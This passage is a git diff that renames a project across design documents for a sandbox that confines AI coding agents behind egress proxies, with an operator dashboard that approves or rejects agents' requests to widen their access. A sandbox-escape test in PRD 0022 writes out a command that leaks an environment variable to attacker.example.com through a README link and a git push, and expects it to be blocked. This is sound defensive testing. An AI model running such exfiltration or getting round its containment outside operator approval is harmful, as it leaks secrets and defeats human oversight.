level deep. -Parser lives at `claude_bottle/yaml_subset.py`, ~300 lines. +Parser lives at `bot_bottle/yaml_subset.py`, ~300 lines. Public API: ```python @@ -348,14 +348,14 @@ def parse_frontmatter(text: str) -> tuple[dict[str, object], str]: ### Existing code touched -- **`claude_bottle/manifest.py`** — `Manifest.resolve` rewritten +- **`bot_bottle/manifest.py`** — `Manifest.resolve` rewritten to walk the new directories. `Manifest.from_json_obj` kept as a programmatic entry point (used by tests). New `Manifest.from_md_dirs(home_dir, cwd_dir)` for the loader. -- **`claude_bottle/yaml_subset.py`** — new. The parser. +- **`bot_bottle/yaml_subset.py`** — new. The parser. - **`README.md`** — manifest section rewritten against the new layout. -- **`claude-bottle.example.json`** — removed; replaced by an +- **`bot-bottle.example.json`** — removed; replaced by an `examples/` directory with one bottle file + one agent file. - **Tests** — new parser tests + new loader tests; existing manifest tests adapt to either build via `from_json_obj` @@ -368,12 +368,12 @@ etc. all stay the same shape. Only the loader changes. ### Backward compatibility -This is a breaking change for v1 users. claude-bottle has a +This is a breaking change for v1 users. bot-bottle has a single primary user today, so migration is one person rewriting one file — no automated migration command is in scope. -If `claude-bottle.json` exists in `$HOME` or `$CWD` *and* the -new `.claude-bottle/` directory does not exist, the resolver +If `bot-bottle.json` exists in `$HOME` or `$CWD` *and* the +new `.bot-bottle/` directory does not exist, the resolver dies with a clear pointer at the README's manifest section — not silently merging formats, not silently dropping the JSON content. @@ -384,11 +384,11 @@ content. empirically before settling: drop a file with `bottle: dev` in `~/.claude/agents/` and see whether Claude Code warns, ignores, or breaks. If it warns, namespace the field - (`claude-bottle-bottle:` or a nested `claude_bottle:` block). -- **Hidden directory vs visible.** Default `.claude-bottle/` + (`bot-bottle-bottle:` or a nested `bot_bottle:` block). +- **Hidden directory vs visible.** Default `.bot-bottle/` (hidden — matches `.config/`, `.ssh/`, `.docker/`). If users routinely want to navigate to it from the file manager, - switch to `claude-bottle/`. Lean hidden. + switch to `bot-bottle/`. Lean hidden. - **`description:` for bottles.** Should bottle frontmatter carry a `description:` field for the y/N preflight? Default no — bottle names are kebab-case and self-describing, and diff --git a/docs/prds/0012-stuck-agent-recovery-flow.md b/docs/prds/0012-stuck-agent-recovery-flow.md index 3639ed2..48314b4 100644 --- a/docs/prds/0012-stuck-agent-recovery-flow.md +++ b/docs/prds/0012-stuck-agent-recovery-flow.md @@ -6,7 +6,7 @@ ## Summary -When an agent running inside a claude-bottle container gets blocked, it invokes one of three MCP tool calls — `cred-proxy-block`, `pipelock-block`, or `capability-block` — passing a *proposed* config change (modified `routes.json`, modified pipelock allowlist, or modified agent Dockerfile) plus text describing why the change is justified. The supervisor sees the proposal in a host-side TUI, approves / modifies / rejects it, and the corresponding remediation runs: SIGHUP-reload cred-proxy with the new routes; restart pipelock with the new allowlist; rebuild the bottle from the new Dockerfile on the same branch. The agent's tool call blocks until the operator acts. The supervisor never opens a live channel into a running bottle; all signal flow goes through a per-bottle MCP sidecar on the existing internal network. +When an agent running inside a bot-bottle container gets blocked, it invokes one of three MCP tool calls — `cred-proxy-block`, `pipelock-block`, or `capability-block` — passing a *proposed* config change (modified `routes.json`, modified pipelock allowlist, or modified agent Dockerfile) plus text describing why the change is justified. The supervisor sees the proposal in a host-side TUI, approves / modifies / rejects it, and the corresponding remediation runs: SIGHUP-reload cred-proxy with the new routes; restart pipelock with the new allowlist; rebuild the bottle from the new Dockerfile on the same branch. The agent's tool call blocks until the operator acts. The supervisor never opens a live channel into a running bottle; all signal flow goes through a per-bottle MCP sidecar on the existing internal network. This PRD is the overview. Implementation is split across four follow-on PRDs (0013–0016); see *Implementation chunks* below. @@ -29,7 +29,7 @@ A real stuck agent recovers end-to-end in each of the three categories: a **cred Three named categories, each with its own MCP tool. Ordered by remediation cost: -- **cred-proxy block.** Tool: `cred-proxy-block`. The agent's request was refused by cred-proxy — missing route, expired token, wrong scope. The agent reads the current `routes.json` from `/etc/claude-bottle/current-config/`, composes a modified version, and calls the tool with `{routes: , justification: "..."}`. The operator reviews the diff in the TUI; on approval, the supervisor writes the new `routes.json` and cred-proxy SIGHUP-reloads. In-flight connections are not dropped. The tool returns `{status: "approved", notes: "..."}` and the agent retries. Implementation: PRD 0014. +- **cred-proxy block.** Tool: `cred-proxy-block`. The agent's request was refused by cred-proxy — missing route, expired token, wrong scope. The agent reads the current `routes.json` from `/etc/bot-bottle/current-config/`, composes a modified version, and calls the tool with `{routes: , justification: "..."}`. The operator reviews the diff in the TUI; on approval, the supervisor writes the new `routes.json` and cred-proxy SIGHUP-reloads. In-flight connections are not dropped. The tool returns `{status: "approved", notes: "..."}` and the agent retries. Implementation: PRD 0014. - **pipelock block.** Tool: `pipelock-block`. The agent's outbound request was refused by pipelock — host not in the allowlist, protocol not permitted. The agent reads the current allowlist, composes a modified version, and calls the tool with `{allowlist: , justification: "..."}`. On approval, the supervisor writes the new allowlist and restarts pipelock; in-flight outbound calls may drop and rely on retry. The tool returns the same approve/reject shape. Implementation: PRD 0015. - **capability block.** Tool: `capability-block`. The bottle is missing a tool, skill, permission, or env var the agent needs — something that lives in the agent Dockerfile rather than in routes or the pipelock allowlist. The agent reads the current Dockerfile, composes a modified version, and calls the tool with `{dockerfile: , justification: "..."}`. On approval, the rebuild orchestrator tears down the bottle, builds from the new Dockerfile, and starts a replacement bottle on the same branch via the state-preservation helper. Because the current agent is about to be replaced, the tool's return is best-effort — the replacement agent inherits the approval record via the preserved transcript. Implementation: PRD 0016. diff --git a/docs/prds/0013-supervise-plane-foundation.md b/docs/prds/0013-supervise-plane-foundation.md index bafd246..f3e75a3 100644 --- a/docs/prds/0013-supervise-plane-foundation.md +++ b/docs/prds/0013-supervise-plane-foundation.md @@ -7,7 +7,7 @@ ## Summary -The shared infrastructure that PRDs 0014–0016 build on. Adds a per-bottle MCP sidecar that exposes three tools (`cred-proxy-block`, `pipelock-block`, `capability-block`) to the agent; a read-only `/etc/claude-bottle/current-config/` mount in the agent container that exposes the current `routes.json`, pipelock allowlist, and Dockerfile; a host-mounted proposal queue; a minimal TUI dashboard that lists pending proposals and supports approve / modify / reject; and the audit log format. After this PRD, an operator can see proposals and approve/reject them — but the approval handlers are no-ops. The remediation engines that actually act on approvals land in 0014, 0015, and 0016. +The shared infrastructure that PRDs 0014–0016 build on. Adds a per-bottle MCP sidecar that exposes three tools (`cred-proxy-block`, `pipelock-block`, `capability-block`) to the agent; a read-only `/etc/bot-bottle/current-config/` mount in the agent container that exposes the current `routes.json`, pipelock allowlist, and Dockerfile; a host-mounted proposal queue; a minimal TUI dashboard that lists pending proposals and supports approve / modify / reject; and the audit log format. After this PRD, an operator can see proposals and approve/reject them — but the approval handlers are no-ops. The remediation engines that actually act on approvals land in 0014, 0015, and 0016. ## Problem @@ -33,10 +33,10 @@ See PRD 0012 for the broader stuck-agent problem. This PRD specifically addresse - A per-bottle MCP sidecar container on the bottle's internal network. - MCP tool definitions for `cred-proxy-block`, `pipelock-block`, `capability-block` (input schemas as defined in PRD 0012 *Stuck categories*). - Tool output: `{status: "approved"|"modified"|"rejected", notes: "..."}`. -- A read-only mount at `/etc/claude-bottle/current-config/` in the agent container exposing the current `routes.json`, pipelock allowlist, and Dockerfile. -- A host-mounted per-bottle proposal queue at `~/.claude-bottle/queue//` (file-per-proposal, with metadata and proposed file content). -- A `claude-bottle dashboard` (or similarly named) TUI that lists running bottles and pending proposals across all of them; supports approve, modify-then-approve, and reject-with-reason for each pending proposal. -- Audit log files at `~/.claude-bottle/audit/cred-proxy-.log` and `~/.claude-bottle/audit/pipelock-.log` with the agreed-upon format (timestamp, diff before/after, justification text, operator action with notes). Entries are written by the supervisor on each approve/modify/reject decision. (capability-block has no separate audit log — capability changes are captured by the bottle's rebuild record / git history.) +- A read-only mount at `/etc/bot-bottle/current-config/` in the agent container exposing the current `routes.json`, pipelock allowlist, and Dockerfile. +- A host-mounted per-bottle proposal queue at `~/.bot-bottle/queue//` (file-per-proposal, with metadata and proposed file content). +- A `bot-bottle dashboard` (or similarly named) TUI that lists running bottles and pending proposals across all of them; supports approve, modify-then-approve, and reject-with-reason for each pending proposal. +- Audit log files at `~/.bot-bottle/audit/cred-proxy-.log` and `~/.bot-bottle/audit/pipelock-.log` with the agreed-upon format (timestamp, diff before/after, justification text, operator action with notes). Entries are written by the supervisor on each approve/modify/reject decision. (capability-block has no separate audit log — capability changes are captured by the bottle's rebuild record / git history.) - Bottle lifecycle script changes to launch the MCP sidecar alongside the other sidecars and mount the read-only current-config directory. ### Out of scope @@ -49,15 +49,15 @@ See PRD 0012 for the broader stuck-agent problem. This PRD specifically addresse ### New services / components - **MCP sidecar.** New per-bottle container on the bottle's internal network. Exposes the three tools to the agent. On a tool call: validates the proposed file syntactically (valid JSON for `routes.json`, parseable Dockerfile, etc.), writes the proposal to the queue, and holds the tool-call connection open until the supervisor responds. Returns `{status, notes}` to the agent on response. -- **Read-only current-config mount.** `/etc/claude-bottle/current-config/` in the agent container exposes `routes.json`, the pipelock allowlist, and the agent Dockerfile from the host. Read-only — the agent proposes changes via the tool call, never by writing the file directly. -- **Proposal queue.** Per-bottle directory under `~/.claude-bottle/queue//` on the host. One file per pending proposal with `{id, tool, proposed_file, justification, arrival_timestamp, current_file_hash, bottle_slug}`. +- **Read-only current-config mount.** `/etc/bot-bottle/current-config/` in the agent container exposes `routes.json`, the pipelock allowlist, and the agent Dockerfile from the host. Read-only — the agent proposes changes via the tool call, never by writing the file directly. +- **Proposal queue.** Per-bottle directory under `~/.bot-bottle/queue//` on the host. One file per pending proposal with `{id, tool, proposed_file, justification, arrival_timestamp, current_file_hash, bottle_slug}`. - **Minimal TUI dashboard.** Lists running bottles and pending proposals. For each proposal: shows current vs. proposed diff and justification. Operator actions: approve / modify-then-approve / reject-with-reason. Stdlib only (curses) unless that proves painful. -- **Audit log format.** Append-only files at `~/.claude-bottle/audit/-.log`. Each entry: timestamp, diff before/after, agent justification (if from a tool call), operator action + notes. Defines the format; the per-component PRDs (0014, 0015) fill in real entries. +- **Audit log format.** Append-only files at `~/.bot-bottle/audit/-.log`. Each entry: timestamp, diff before/after, agent justification (if from a tool call), operator action + notes. Defines the format; the per-component PRDs (0014, 0015) fill in real entries. - **No-op approval handlers.** Each tool's approve path in 0013 writes an audit entry and returns `{status: "approved"}` to the agent but doesn't actually change any config. 0014 / 0015 / 0016 replace these with real handlers. ### Existing code touched -- **Bottle lifecycle scripts** — launch the MCP sidecar alongside other sidecars; mount `/etc/claude-bottle/current-config/` read-only into the agent container. +- **Bottle lifecycle scripts** — launch the MCP sidecar alongside other sidecars; mount `/etc/bot-bottle/current-config/` read-only into the agent container. - **`cli.py`** — adds the dashboard subcommand. ### Data model changes diff --git a/docs/prds/0017-egress-proxy-via-mitmproxy.md b/docs/prds/0017-egress-proxy-via-mitmproxy.md index ef723cf..9ba2f7c 100644 --- a/docs/prds/0017-egress-proxy-via-mitmproxy.md +++ b/docs/prds/0017-egress-proxy-via-mitmproxy.md @@ -106,7 +106,7 @@ delivery. apply path. SIGHUP reload semantics carry over to egress-proxy. - PRD 0013 (supervise plane) `cred-proxy-block` MCP tool stays; its proposed file format updates per the new route shape. -- Removal of the old cred-proxy code: `claude_bottle/cred_proxy.py`, +- Removal of the old cred-proxy code: `bot_bottle/cred_proxy.py`, `cred_proxy_server.py`, `backend/docker/cred_proxy.py`, `provision/cred_proxy.py`, the `Dockerfile.cred-proxy`. Tests updated. @@ -254,8 +254,8 @@ manifest load: `path` → `host`, drop the agent-side URL prefix). - `cred_proxy_routes` field on existing dataclasses removed. - `Dockerfile.cred-proxy` deleted. -- `claude_bottle/cred_proxy*.py` deleted. -- `claude_bottle/backend/docker/cred_proxy*.py` consolidated into +- `bot_bottle/cred_proxy*.py` deleted. +- `bot_bottle/backend/docker/cred_proxy*.py` consolidated into `egress_proxy*.py`. - Provisioner files renamed. - PRDs 0010 (cred-proxy), 0014 (cred-proxy-block remediation) diff --git a/docs/prds/0018-compose-per-instance.md b/docs/prds/0018-compose-per-instance.md index 9539a53..7aa2a06 100644 --- a/docs/prds/0018-compose-per-instance.md +++ b/docs/prds/0018-compose-per-instance.md @@ -15,7 +15,7 @@ down`. Logs come from `docker compose logs` and land in a single file per instance, so reading what happened in a session is one `less` away. -State for each instance (`~/.claude-bottle/state//`) becomes a +State for each instance (`~/.bot-bottle/state//`) becomes a self-describing folder: ``` @@ -34,7 +34,7 @@ together fully describe the container topology. Today `start` builds each sidecar (`pipelock`, `egress`, `git-gate`, `supervise`) and the agent container with a chain of individual SDK -calls in `claude_bottle/backend/docker/launch.py`: +calls in `bot_bottle/backend/docker/launch.py`: - A per-sidecar `Docker{Sidecar}.start()` method does `docker create` → `docker cp` (stage files) → `docker network @@ -50,7 +50,7 @@ This is fine, but it has three rough edges: 2. **Logs are scattered.** Each container's logs sit in Docker's per- container journal. To debug a session post-mortem you have to - remember to run `docker logs claude-bottle-pipelock-` etc. + remember to run `docker logs bot-bottle-pipelock-` etc. before the containers age out, and there's no merged view. 3. **Teardown is bespoke.** Each sidecar's `stop()` is its own @@ -62,14 +62,14 @@ project name per environment, merged logs, atomic up/down. ## Goals / Success Criteria -1. `claude-bottle start ` writes - `~/.claude-bottle/state//docker-compose.yml` and brings the +1. `bot-bottle start ` writes + `~/.bot-bottle/state//docker-compose.yml` and brings the project up with `docker compose -p up`. 2. The compose file is the source of truth for the container topology — every sidecar that runs is declared as a `services:` entry, every network is a `networks:` entry, every bind mount is a `volumes:` entry. -3. `~/.claude-bottle/state//compose.log` contains the full +3. `~/.bot-bottle/state//compose.log` contains the full merged stdout/stderr of every service for the session, in `docker compose logs --no-color` format. 4. `metadata.json` records the compose project name alongside the @@ -79,7 +79,7 @@ project name per environment, merged logs, atomic up/down. 5. Session teardown is `docker compose -p down`. The existing per-sidecar `stop()` lifecycle methods come out. 6. The `cleanup` CLI uses `docker compose ls` (filtered to - `claude-bottle-*` projects) instead of name-prefix scans across + `bot-bottle-*` projects) instead of name-prefix scans across `docker ps -a` and `docker network ls`. 7. The existing remediation flows (`pipelock-block`, `egress-block`, `capability-block`) keep working without @@ -95,7 +95,7 @@ project name per environment, merged logs, atomic up/down. implementation detail of the Docker backend. - **Replacing the backend abstraction (PRD 0003).** `Backend` stays abstract; only the Docker implementation changes. -- **A long-lived "claude-bottle daemon."** Each `start` invocation +- **A long-lived "bot-bottle daemon."** Each `start` invocation still owns a single compose project for the lifetime of the session. No persistent service. - **Image pre-building.** Compose's `build:` directive triggers @@ -109,7 +109,7 @@ project name per environment, merged logs, atomic up/down. ### In scope -- New module `claude_bottle/backend/docker/compose.py` that renders a +- New module `bot_bottle/backend/docker/compose.py` that renders a compose dict from a `BottlePlan` and writes it to `state//docker-compose.yml`. - `DockerBackend.start` rewritten to: @@ -118,7 +118,7 @@ project name per environment, merged logs, atomic up/down. into host paths under `state//`. 3. Render + write the compose file. 4. Exec `docker compose -p up -d`. - 5. `docker attach claude-bottle-` for the agent's TTY. + 5. `docker attach bot-bottle-` for the agent's TTY. 6. On exit: `docker compose -p logs --no-color` → `state//compose.log`, then `docker compose -p down --volumes`. @@ -134,12 +134,12 @@ project name per environment, merged logs, atomic up/down. ### Out of scope -- Changing the manifest layer (`claude_bottle/manifest.py`, +- Changing the manifest layer (`bot_bottle/manifest.py`, `egress.py`'s plan dataclasses, `pipelock.py`'s plan dataclasses). - Changing the agent's runtime contract (proxy env vars, CA bundle paths, current-config mount path). - Changing audit-log shape or location ( - `~/.claude-bottle/audit/-.log` stays). + `~/.bot-bottle/audit/-.log` stays). - Changing the MCP server's tool list or wire format. - Dropping the `--rm` semantics for the agent: the agent container is still ephemeral; compose's `down --volumes` handles cleanup. @@ -148,7 +148,7 @@ project name per environment, merged logs, atomic up/down. ### Project name -`compose_project = f"claude-bottle-{slug}"`. The slug stays the +`compose_project = f"bot-bottle-{slug}"`. The slug stays the existing `slugify(agent_name)-<5-char-random-base36>` from `bottle_state.py`. Compose adds its own prefix to networks (`_`) and to default container names — which is @@ -163,29 +163,29 @@ an explicit `container_name:` matching today's pattern: ```yaml services: pipelock: - container_name: claude-bottle-pipelock- + container_name: bot-bottle-pipelock- egress: - container_name: claude-bottle-egress- + container_name: bot-bottle-egress- # ... ``` This keeps the dashboard's container-discovery output stable for operators who've memorized the names. The compose project name -(`claude-bottle-`) is the only new identifier. +(`bot-bottle-`) is the only new identifier. ### Networks -The two existing networks (`claude-bottle-net-` internal + -`claude-bottle-egress-` upstream-bridge) become compose +The two existing networks (`bot-bottle-net-` internal + +`bot-bottle-egress-` upstream-bridge) become compose networks: ```yaml networks: internal: - name: claude-bottle-net- + name: bot-bottle-net- internal: true egress: - name: claude-bottle-egress- + name: bot-bottle-egress- ``` Each service's `networks:` list mirrors today's wiring. @@ -238,7 +238,7 @@ sidecars that exist. ### Logging `docker compose up -d` starts everything detached. The agent is -attached for the user's TTY via `docker attach claude-bottle- +attached for the user's TTY via `docker attach bot-bottle- `. Sidecars stream into Docker's per-container journals during the session, exactly as today, and `docker compose logs -f` gives a merged tail if the user wants it (the dashboard can shell @@ -265,7 +265,7 @@ Add one field; everything else is unchanged. "agent_name": "implementer", "cwd": "/Users/.../some-project", "started_at": "2026-05-25T20:13:04Z", - "compose_project": "claude-bottle-implementer-a7k3f" + "compose_project": "bot-bottle-implementer-a7k3f" } ``` @@ -291,13 +291,13 @@ After this PRD: ### Cleanup CLI `./cli.py cleanup` switches from "list every container with prefix -`claude-bottle-` and every network with prefix `claude-bottle-net-` -or `claude-bottle-egress-`" to: +`bot-bottle-` and every network with prefix `bot-bottle-net-` +or `bot-bottle-egress-`" to: 1. `docker compose ls --all --format json` → filter to projects - whose name starts with `claude-bottle-`. + whose name starts with `bot-bottle-`. 2. For each: `docker compose -p down --volumes`. -3. Reap any state dirs under `~/.claude-bottle/state/` whose +3. Reap any state dirs under `~/.bot-bottle/state/` whose `compose_project` no longer appears in `compose ls`. Strays from pre-compose code-paths can be mopped up by keeping the @@ -313,7 +313,7 @@ existing prefix scan as a fallback for one release. 2. **How does `claude` reach the agent's TTY?** Decided: keep today's `docker exec -it` model. Agent runs `sleep infinity` under compose; `DockerBottle.exec_claude` runs - `docker exec -it claude-bottle- claude ...` exactly like + `docker exec -it bot-bottle- claude ...` exactly like today. Compose owns the lifecycle (so `compose logs` includes the agent's stdout, `compose down` tears it down), but the user-facing exec model is unchanged. Rejected `docker attach` @@ -332,8 +332,8 @@ existing prefix scan as a fallback for one release. 5. **Image build caching.** `build:` in compose rebuilds on first `up` unless the image is already tagged. The per-sidecar images - (`claude-bottle-pipelock`, `claude-bottle-egress`, - `claude-bottle-git-gate`, `claude-bottle-supervise`) should + (`bot-bottle-pipelock`, `bot-bottle-egress`, + `bot-bottle-git-gate`, `bot-bottle-supervise`) should stay tagged on the daemon between runs so we don't rebuild on every start. Verify compose's behavior matches. diff --git a/docs/prds/0019-active-agents-in-dashboard.md b/docs/prds/0019-active-agents-in-dashboard.md index 548b9dc..2536e09 100644 --- a/docs/prds/0019-active-agents-in-dashboard.md +++ b/docs/prds/0019-active-agents-in-dashboard.md @@ -128,7 +128,7 @@ the "operator wants to make an unprompted change" case. ### Layout ``` -claude-bottle dashboard (3 pending, 2 active) +bot-bottle dashboard (3 pending, 2 active) ───────────────────────────────────────────────────────── proposals: 03:14:22 [implementer-cy7a6] egress-block abc123… diff --git a/docs/prds/0020-start-and-attach-from-dashboard.md b/docs/prds/0020-start-and-attach-from-dashboard.md index 235f201..e83e6e5 100644 --- a/docs/prds/0020-start-and-attach-from-dashboard.md +++ b/docs/prds/0020-start-and-attach-from-dashboard.md @@ -63,7 +63,7 @@ captures full-merged logs per bottle (PRD 0018). It already → restore`, matching the existing editor-flow pattern. 3. On launch success, the dashboard performs a handoff (option 1 from the research doc): `curses.endwin()` → `docker exec - -it claude-bottle- claude --dangerously-skip-permissions` + -it bot-bottle- claude --dangerously-skip-permissions` → on exit, `stdscr.refresh()` and re-render with the new bottle in the agents pane. 4. The bottle's lifetime is owned by the dashboard process, NOT @@ -268,7 +268,7 @@ dashboard started this session, the dashboard holds the `bottle.exec_claude(...)`. For an agent it discovered via `list_active_slugs` (previous-dashboard or external start), the dashboard synthesizes a one-shot `DockerBottle` from the -slug — container name is `claude-bottle-`, no prompt +slug — container name is `bot-bottle-`, no prompt path because the agent's claude config already has `--append- system-prompt-file` baked in from the original launch — and runs the same exec. Either way, Enter drops to @@ -284,7 +284,7 @@ agents pane. `x` on a non-owned agent (discovered via `list_active_slugs` but not in `bottles` dict): no-op with status hint pointing at `./cli.py cleanup` (the existing path that tears down -ANY claude-bottle compose project plus reaps state dirs). +ANY bot-bottle compose project plus reaps state dirs). ### Dashboard quit @@ -392,5 +392,5 @@ Sized for one PR each. - `docs/research/claude-code-pane-in-dashboard.md` — option 1 (handoff) is what `attach_claude` implements here; options 2 / 3 are out of scope for this PRD -- `claude_bottle/cli/start.py:_launch_bottle` — the function +- `bot_bottle/cli/start.py:_launch_bottle` — the function chunk 1 extracts the prepare + attach pieces out of diff --git a/docs/prds/0021-dashboard-tmux-split-pane.md b/docs/prds/0021-dashboard-tmux-split-pane.md index f4f8ebe..fff40ab 100644 --- a/docs/prds/0021-dashboard-tmux-split-pane.md +++ b/docs/prds/0021-dashboard-tmux-split-pane.md @@ -46,7 +46,7 @@ window, two panes, no terminal handoff. two-pane layout: dashboard in the left pane, an initially- empty right pane reserved for claude sessions. 2. Pressing Enter on a focused agent row spawns / respawns the - right pane with `docker exec -it claude-bottle- claude + right pane with `docker exec -it bot-bottle- claude --continue --dangerously-skip-permissions`. The right pane's prior content (if any) is replaced. 3. Pressing `n` to start a new agent (the existing chunk-2 flow diff --git a/docs/prds/0022-sandbox-escape-integration-test.md b/docs/prds/0022-sandbox-escape-integration-test.md index 48035f2..c65d12d 100644 --- a/docs/prds/0022-sandbox-escape-integration-test.md +++ b/docs/prds/0022-sandbox-escape-integration-test.md @@ -26,7 +26,7 @@ The suite is the backend-agnostic gate the smolmachines work has to pass before that backend can be considered a viable substitute for Docker. Today's Docker backend is the backend-under-test; the suite runs against whatever -`CLAUDE_BOTTLE_BACKEND` resolves to. +`BOT_BOTTLE_BACKEND` resolves to. ## Problem @@ -121,7 +121,7 @@ destination outside the bottle. suite is written against the abstract `BottleBackend` API via the existing `get_bottle_backend()` selector; future smolmachines work flips - `CLAUDE_BOTTLE_BACKEND=smolmachines` and reruns. No + `BOT_BOTTLE_BACKEND=smolmachines` and reruns. No smolmachines-specific code here. ## Scope @@ -212,7 +212,7 @@ scan happens first. ### Per-attack scaffolding Each test calls `bottle.exec(script)` (the existing -`Bottle.exec` from `claude_bottle.backend.Bottle`) and +`Bottle.exec` from `bot_bottle.backend.Bottle`) and asserts on the returncode + stdout + stderr. The agent container has `curl`, `git`, `dig`, etc. pre- @@ -331,7 +331,7 @@ def test_5_readme_push_blocked(self): f'echo "[click](https://attacker.example.com/?leak={env_ref})" > README.md && ' 'git add . && git commit -m "leak" && ' 'git remote add origin ' - 'git://claude-bottle-git-gate-/throwaway.git && ' + 'git://bot-bottle-git-gate-/throwaway.git && ' 'git push origin master' ) self.assertNotEqual(0, result.returncode) @@ -460,7 +460,7 @@ Sized small. already dies with a clear message naming the unknown backend; the test surfaces that as a hard error rather than a skip. Forces the developer to set - `CLAUDE_BOTTLE_BACKEND` to a real implementation — + `BOT_BOTTLE_BACKEND` to a real implementation — surprise-skips on smolmachines branches that forgot to set the env var are worse than a loud failure. diff --git a/docs/prds/0023-smolmachines-backend.md b/docs/prds/0023-smolmachines-backend.md index 4bf2b6b..8ffc18c 100644 --- a/docs/prds/0023-smolmachines-backend.md +++ b/docs/prds/0023-smolmachines-backend.md @@ -8,7 +8,7 @@ Ship a second concrete `BottleBackend` — `SmolmachinesBottleBackend`, selected via -`CLAUDE_BOTTLE_BACKEND=smolmachines` — that runs each bottle inside +`BOT_BOTTLE_BACKEND=smolmachines` — that runs each bottle inside a per-agent libkrun microVM via `smolvm`. Egress is enforced by libkrun's TSI ("Transport Socket Interface") allowlist set to a **single /32** — the docker IP of the per-bottle sidecar bundle @@ -28,7 +28,7 @@ port-granular. The Docker backend ships unchanged; this is opt-in via the existing env-var selector. The acceptance gate is PRD 0022's `tests/integration/test_sandbox_escape.py` running green against -`CLAUDE_BOTTLE_BACKEND=smolmachines`. +`BOT_BOTTLE_BACKEND=smolmachines`. ### Design pivot from the first draft @@ -63,7 +63,7 @@ with significantly less code. container-based bottles on macOS; `smolmachines-as-vm-backend.md` evaluates smolmachines as the lifecycle wrapper. Today, the only backend in the registry is Docker -(`claude_bottle/backend/__init__.py:_BACKENDS = {"docker": ...}`), +(`bot_bottle/backend/__init__.py:_BACKENDS = {"docker": ...}`), and four things motivate a second one now: - **Network reach beyond pipelock.** The threat model is a malicious @@ -85,7 +85,7 @@ and four things motivate a second one now: enforced by the CPU's MMU instead of namespace bookkeeping. - **PRD 0022 is backend-agnostic by design** but currently only exercises the Docker backend. The suite was written with - `CLAUDE_BOTTLE_BACKEND` selection in mind precisely so the + `BOT_BOTTLE_BACKEND` selection in mind precisely so the smolmachines path could be validated against the same five attacks. Until a second backend exists, the abstraction is unproven. @@ -143,7 +143,7 @@ virtio-net carve-out smolvm doesn't expose anyway). The feature works when all of the following are observable on a macOS host with smolmachines installed: -- `CLAUDE_BOTTLE_BACKEND=smolmachines python3 cli.py start ` +- `BOT_BOTTLE_BACKEND=smolmachines python3 cli.py start ` brings up a microVM, runs claude-code inside it, and tears it down on exit. Same y/N preflight UX as Docker — only the resolved-runtime line differs. @@ -160,14 +160,14 @@ macOS host with smolmachines installed: The feature is **done** when all of the following ship: -- A new `claude_bottle/backend/smolmachines/` subpackage exists, - mirroring the layout of `claude_bottle/backend/docker/` +- A new `bot_bottle/backend/smolmachines/` subpackage exists, + mirroring the layout of `bot_bottle/backend/docker/` (`backend.py`, `bottle.py`, `bottle_plan.py`, `bottle_cleanup_plan.py`, `prepare.py`, `launch.py`, `cleanup.py`, `util.py`, and a `provision/` subpackage for the five `provision_*` methods). - `SmolmachinesBottleBackend` registered under the - `"smolmachines"` key in `claude_bottle/backend/__init__.py:_BACKENDS`. + `"smolmachines"` key in `bot_bottle/backend/__init__.py:_BACKENDS`. - Per-bottle Smolfile generation: a runtime-rendered TOML written to the bottle's stage dir using smolvm 0.8.0's actual schema (`image`, `entrypoint`, `cmd`, `env = ["K=V", …]`, `[network] @@ -197,7 +197,7 @@ The feature is **done** when all of the following ship: step is part of `prepare`, analogous to `docker_mod.build_image`. - The PRD 0022 sandbox-escape suite, run with - `CLAUDE_BOTTLE_BACKEND=smolmachines`, passes locally on a + `BOT_BOTTLE_BACKEND=smolmachines`, passes locally on a smolmachines-capable host. The suite is updated to skip cleanly on hosts that can't reach smolmachines (same shape as the existing `GITEA_ACTIONS == "true"` skip), not to fail. @@ -215,7 +215,7 @@ The feature is **done** when all of the following ship: side. Selection stays env-driven; the manifest does not gain a `backend` field. - **No default-backend change.** `docker` remains the default - value of `CLAUDE_BOTTLE_BACKEND`; smolmachines is strictly + value of `BOT_BOTTLE_BACKEND`; smolmachines is strictly opt-in until it has been load-bearing on at least one operator's workflow for a release cycle. - **No `--outbound-localhost-only`.** That TSI flag opens the @@ -251,7 +251,7 @@ The feature is **done** when all of the following ship: ### In scope -- New `claude_bottle/backend/smolmachines/` subpackage with the +- New `bot_bottle/backend/smolmachines/` subpackage with the full set of `BottleBackend` overrides. - Smolfile generator (TOML) emitting the smolvm 0.8.0 schema: top-level `image`, `entrypoint`, `cmd`, `env = [...]`, @@ -267,7 +267,7 @@ The feature is **done** when all of the following ship: - Per-bottle CA install path: the bundle's CA cert lands inside the microVM via `smolvm machine exec` after start (analogous to the existing `provision_ca` for Docker). -- Per-bottle docker bridge: a `claude-bottle-bundle-` +- Per-bottle docker bridge: a `bot-bottle-bundle-` network with a /24 subnet derived from the slug hash; the bundle gets a pinned IP at `.2` (gateway is `.1`). Pinning the IP at start time avoids a race between the bundle's IP being @@ -314,7 +314,7 @@ The feature is **done** when all of the following ship: ### Backend layout ``` -claude_bottle/backend/smolmachines/ +bot_bottle/backend/smolmachines/ __init__.py re-exports SmolmachinesBottleBackend backend.py SmolmachinesBottleBackend façade bottle.py SmolmachinesBottle (exec_claude / exec / cp_in / close) @@ -339,7 +339,7 @@ design needs neither. ``` ┌── macOS host ─────────────────────────────────────────────────────┐ │ │ - │ ┌── per-bottle docker bridge claude-bottle-bundle- ──┐ │ + │ ┌── per-bottle docker bridge bot-bottle-bundle- ──┐ │ │ │ subnet: 192.168.X.0/24 (X = hash(slug) mod 254) │ │ │ │ │ │ │ │ ┌── bundle container (pinned --ip 192.168.X.2) ────────┐ │ │ @@ -401,9 +401,9 @@ Three changes vs. the Docker backend: transport tested. The conversion path is a registry hop: bring up an ephemeral `registry:2.8.3` container bound to `127.0.0.1:`, `docker tag` + `docker push` into it, - `smolvm pack create --image localhost:/claude-bottle:`, + `smolvm pack create --image localhost:/bot-bottle:`, tear down the registry. The `.smolmachine` is cached under - `~/.cache/claude-bottle/smolmachines/` keyed by the docker + `~/.cache/bot-bottle/smolmachines/` keyed by the docker image ID, so Dockerfile changes invalidate the cache and unchanged rebuilds skip the whole pipeline. 4. Render the per-bottle Smolfile to `stage_dir/smolfile.toml` @@ -424,7 +424,7 @@ Three changes vs. the Docker backend: `SmolmachinesBottleBackend.launch(plan)`: 1. Create the per-bottle docker bridge network - (`claude-bottle-bundle-` with the resolved subnet) and + (`bot-bottle-bundle-` with the resolved subnet) and start the sidecar bundle container with `docker run --network ... --ip ...`. Wait for its daemons to bind: pipelock on 8888, git-gate on 9418 (conditional), supervise @@ -457,7 +457,7 @@ The `BottleSpec` dataclass and the `Bottle` ABC do not change. ### Selection wiring -In 